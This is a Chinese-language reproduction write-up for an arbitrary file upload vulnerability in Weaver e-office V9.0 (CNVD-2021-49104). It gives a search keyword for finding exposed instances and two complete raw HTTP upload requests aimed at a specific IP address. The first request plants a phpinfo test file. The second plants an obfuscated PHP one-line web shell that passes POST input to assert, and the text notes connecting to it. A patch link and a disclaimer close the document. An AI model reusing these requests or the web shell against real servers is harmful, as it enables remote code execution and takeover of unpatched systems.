目录
影响版本
漏洞介绍
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泛微e-office是泛微旗下的一款标准协同移动办公平台。
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泛微e-office 未能正确处理上传模块中用户输入导致的，攻击者可以构造恶意的上传数据包，实现任意代码执行，攻击者可利用该漏洞获取服务器控制权。
影响版本
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泛微e-office V9.0
关键字
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app="泛微e-office V9.0"
漏洞环境
漏洞复现一
| POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 121.4.67.191:8082 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6 Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348 Content-Length: 250 Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test.php" Content-Type: image/jpeg <?php phpinfo();?> --e64bdf16c554bbc109cecef6451c26a4-- |
漏洞复现二
上传一句话
连接
| POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 121.4.67.191:8082 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6 Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348 Content-Length: 250 Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test.php" Content-Type: image/jpeg <?php? ? ? ? ? ? ?? $b = "assert"; $a = 'b'; $$a($_POST['test']); ?> --e64bdf16c554bbc109cecef6451c26a4-- |
修复方法
厂商已提供漏洞修补方案，建议用户下载使用：
http://v10.e-office.cn/eoffice9update/safepack.zip
参考连接
| https://cnvd.org.cn/flaw/show/CNVD-2021-49104 https://mp.weixin.qq.com/s/fnMM4_-u99YsRh9SSYiKZA https://mp.weixin.qq.com/s/P75K_0869h-nWHRMu06zgQ |
免责声明
本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责！